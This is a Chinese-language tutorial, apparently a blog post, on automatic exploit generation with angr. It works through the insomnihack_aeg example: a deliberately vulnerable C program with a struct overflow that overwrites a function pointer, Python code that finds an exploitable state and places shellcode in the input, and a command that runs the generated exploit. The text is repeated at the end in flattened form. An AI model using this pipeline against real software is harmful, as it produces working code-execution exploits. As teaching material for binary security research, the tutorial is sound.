基于 angr 的漏洞利用自动生成之缓冲区溢出案例分析
字数 1700 2025-08-24 16:48:07

基于angr的漏洞利用自动生成技术详解:缓冲区溢出案例分析

一、前言

本文详细解析如何利用angr框架实现自动化漏洞利用生成(Automatic Exploit Generation, AEG),通过一个具体的缓冲区溢出案例展示完整的技术流程。我们将分析官方示例insomnihack_aeg,深入讲解每个步骤的实现细节和相关接口。

二、目标程序分析

2.1 程序源代码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char component_name[128] = {0};  // 全局缓冲区,大小为128字节

typedef struct component {
    char name[32];               // 结构体成员,只有32字节
    int (*do_something)(int arg); // 函数指针
} comp_t;

int sample_func(int x) {
    printf(" - %s - recieved argument %d\n", component_name, x);
}

comp_t *initialize_component(char *cmp_name) {
    int i = 0;
    comp_t *cmp;
    cmp = malloc(sizeof(struct component));
    cmp->do_something = sample_func;
    
    printf("Copying component name...\n");
    while(*cmp_name)
        cmp->name[i++] = *cmp_name++;  // 缓冲区溢出漏洞点
    cmp->name[i] = '\0';
    
    return cmp;
}

int main(void) {
    comp_t *cmp;
    printf("Component Name:\n");
    read(0, component_name, sizeof component_name);
    
    printf("Initializing component...\n");
    cmp = initialize_component(component_name);
    
    printf("Running component...\n");
    cmp->do_something(1);  // 调用函数指针
}

2.2 漏洞分析

  1. 缓冲区溢出:全局变量component_name大小为128字节,而结构体中的name字段只有32字节。当initialize_component函数将component_name复制到name时,会发生缓冲区溢出。

  2. 利用点:溢出的数据可以覆盖结构体中的函数指针do_something,从而控制程序执行流。

  3. 利用思路

    • 在输入缓冲区中放置shellcode
    • 通过溢出覆盖函数指针,使其指向shellcode
    • 当程序调用do_something时,执行我们的shellcode

三、自动利用生成技术流程

3.1 整体流程

  1. 漏洞挖掘:通过符号执行探索程序路径,寻找可利用状态
  2. 状态分析:分析寄存器状态和内存布局
  3. 设置利用约束:根据漏洞利用技术设定约束条件
  4. 约束求解:生成满足条件的exploit输入

3.2 详细实现步骤

3.2.1 初始化项目

p = angr.Project(binary)
binary_name = os.path.basename(binary)

# 设置State选项
extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY}
es = p.factory.entry_state(add_options=extras)  # 获得入口点State
sm = p.factory.simulation_manager(es, save_unconstrained=True)  # 初始化simulation_manager

关键参数说明:

  • REVERSE_MEMORY_NAME_MAP:维护符号变量名到内存地址的映射
  • TRACK_ACTION_HISTORY:记录模拟执行状态的ACTION历史
  • save_unconstrained=True:保存无约束状态到unconstrained stash中

3.2.2 漏洞挖掘及状态分析

exploitable_state = None
while exploitable_state is None:
    sm.step()  # 单步执行状态
    
    if len(sm.unconstrained) > 0:  # 找到未约束状态
        for u in sm.unconstrained:
            if fully_symbolic(u, u.regs.pc):  # 判断PC寄存器是否完全符号化
                exploitable_state = u
                break
                
        sm.drop(stash='unconstrained')  # 删除不可利用的未约束状态

关键函数fully_symbolic实现:

def fully_symbolic(state, variable):
    """检查变量是否完全符号化"""
    for i in range(state.arch.bits):
        if not state.solver.symbolic(variable[i]):
            return False
    return True

3.2.3 构造利用约束

  1. 查找符号化缓冲区
def find_symbolic_buffer(state, length):
    """查找内存中用户可控的符号化缓冲区"""
    stdin = state.posix.stdin
    sym_addrs = []
    
    # 获取所有符号变量
    for _, symbol in state.solver.get_variables('file', stdin.ident):
        sym_addrs.extend(state.memory.addrs_for_name(next(iter(symbol.variables))))
    
    # 检查连续地址空间
    for addr in sym_addrs:
        if check_continuity(addr, sym_addrs, length):
            yield addr

def check_continuity(address, addresses, length):
    """检查地址区域是否连续"""
    for i in range(length):
        if not address + i in addresses:
            return False
    return True
  1. 设置利用约束
for buf_addr in find_symbolic_buffer(ep, len(shellcode)):
    memory = ep.memory.load(buf_addr, len(shellcode))
    sc_bvv = ep.solver.BVV(shellcode)  # 将shellcode转为bitvector
    
    # 检查约束是否可满足
    if ep.satisfiable(extra_constraints=(memory == sc_bvv, ep.regs.pc == buf_addr)):
        ep.add_constraints(memory == sc_bvv)  # 约束1:缓冲区可存放shellcode
        ep.add_constraints(ep.regs.pc == buf_addr)  # 约束2:PC指向shellcode
        break

3.2.4 约束求解与Exploit生成

filename = '%s-exploit' % binary_name
with open(filename, 'wb') as f:
    f.write(ep.posix.dumps(0))  # 对标准输入进行约束求解

四、技术要点解析

4.1 关键接口说明

  1. SimulationManager.step()

    • 功能:单步执行stash中的state
    • 参数:可指定执行的stash、步数、过滤函数等
    • 返回值:分类后的状态会存入不同的stash中
  2. State.solver

    • symbolic():判断变量是否为符号化
    • BVV():将具体值转换为符号化的bitvector
    • satisfiable():检查约束是否可满足
    • add_constraints():添加约束条件
  3. posix.dumps()

    • 功能:对文件描述符进行约束求解
    • 等同于:
      my_stdin_file = my_state.posix.files[0]  # stdin文件描述符
      all_my_bytes = my_stdin_file.all_bytes()  # 文件中的所有字节
      myBytesString = my_path.se.eval(all_my_bytes, cast_to=str)  # 求解字节并转为字符串
      

4.2 调试技巧

使用ipdb进行调试:

python -m ipdb solve.py demo_bin

常用命令:

  • b:设置断点
  • c:继续运行
  • n:单步运行
  • s:步进函数

调试时可查看:

  • sm.active:活跃状态列表
  • sm.deadended:无法继续执行的状态
  • sm.unconstrained:无约束状态

五、案例测试与验证

5.1 生成Exploit

运行脚本:

python solve.py demo_bin

生成的exploit文件demo_bin-exploit包含:

  1. Shellcode
  2. Padding
  3. Shellcode地址(覆盖函数指针)

5.2 验证Exploit

(cat ./demo_bin-exploit; echo echo BUMO) | ./demo_bin

输出示例:

Component Name:
Initializing component...
Copying component name...
Running component...
 - BUMO - recieved argument 1

六、总结与扩展

6.1 技术要点总结

  1. 路径探索:通过符号执行探索程序路径,寻找可利用状态
  2. 状态判断:关键检查PC寄存器是否完全符号化
  3. 约束设置:根据漏洞利用技术设置合理的约束条件
  4. 内存布局:需要找到连续的符号化内存区域存放shellcode

6.2 扩展思考

  1. 复杂漏洞处理:对于更复杂的漏洞,需要设计更精细的约束条件
  2. 防护绕过:如何应对ASLR、DEP等防护机制
  3. 多路径探索:处理条件分支时的路径爆炸问题
  4. 性能优化:大规模程序的符号执行效率问题

6.3 参考资料

  1. angr官方文档
  2. Reddit相关讨论
  3. AEG相关论文

通过本案例的学习,读者可以掌握使用angr进行自动化漏洞利用生成的基本方法,理解符号执行在漏洞利用中的实际应用,为进一步研究二进制安全自动化工具打下坚实基础。

基于angr的漏洞利用自动生成技术详解:缓冲区溢出案例分析 一、前言 本文详细解析如何利用angr框架实现自动化漏洞利用生成(Automatic Exploit Generation, AEG),通过一个具体的缓冲区溢出案例展示完整的技术流程。我们将分析官方示例 insomnihack_aeg ,深入讲解每个步骤的实现细节和相关接口。 二、目标程序分析 2.1 程序源代码 2.2 漏洞分析 缓冲区溢出 :全局变量 component_name 大小为128字节,而结构体中的 name 字段只有32字节。当 initialize_component 函数将 component_name 复制到 name 时,会发生缓冲区溢出。 利用点 :溢出的数据可以覆盖结构体中的函数指针 do_something ,从而控制程序执行流。 利用思路 : 在输入缓冲区中放置shellcode 通过溢出覆盖函数指针,使其指向shellcode 当程序调用 do_something 时,执行我们的shellcode 三、自动利用生成技术流程 3.1 整体流程 漏洞挖掘 :通过符号执行探索程序路径,寻找可利用状态 状态分析 :分析寄存器状态和内存布局 设置利用约束 :根据漏洞利用技术设定约束条件 约束求解 :生成满足条件的exploit输入 3.2 详细实现步骤 3.2.1 初始化项目 关键参数说明: REVERSE_MEMORY_NAME_MAP :维护符号变量名到内存地址的映射 TRACK_ACTION_HISTORY :记录模拟执行状态的ACTION历史 save_unconstrained=True :保存无约束状态到 unconstrained stash中 3.2.2 漏洞挖掘及状态分析 关键函数 fully_symbolic 实现: 3.2.3 构造利用约束 查找符号化缓冲区 : 设置利用约束 : 3.2.4 约束求解与Exploit生成 四、技术要点解析 4.1 关键接口说明 SimulationManager.step() : 功能:单步执行stash中的state 参数:可指定执行的stash、步数、过滤函数等 返回值:分类后的状态会存入不同的stash中 State.solver : symbolic() :判断变量是否为符号化 BVV() :将具体值转换为符号化的bitvector satisfiable() :检查约束是否可满足 add_constraints() :添加约束条件 posix.dumps() : 功能:对文件描述符进行约束求解 等同于: 4.2 调试技巧 使用ipdb进行调试: 常用命令: b :设置断点 c :继续运行 n :单步运行 s :步进函数 调试时可查看: sm.active :活跃状态列表 sm.deadended :无法继续执行的状态 sm.unconstrained :无约束状态 五、案例测试与验证 5.1 生成Exploit 运行脚本: 生成的exploit文件 demo_bin-exploit 包含: Shellcode Padding Shellcode地址(覆盖函数指针) 5.2 验证Exploit 输出示例: 六、总结与扩展 6.1 技术要点总结 路径探索 :通过符号执行探索程序路径,寻找可利用状态 状态判断 :关键检查PC寄存器是否完全符号化 约束设置 :根据漏洞利用技术设置合理的约束条件 内存布局 :需要找到连续的符号化内存区域存放shellcode 6.2 扩展思考 复杂漏洞处理 :对于更复杂的漏洞,需要设计更精细的约束条件 防护绕过 :如何应对ASLR、DEP等防护机制 多路径探索 :处理条件分支时的路径爆炸问题 性能优化 :大规模程序的符号执行效率问题 6.3 参考资料 angr官方文档 Reddit相关讨论 AEG相关论文 通过本案例的学习,读者可以掌握使用angr进行自动化漏洞利用生成的基本方法,理解符号执行在漏洞利用中的实际应用,为进一步研究二进制安全自动化工具打下坚实基础。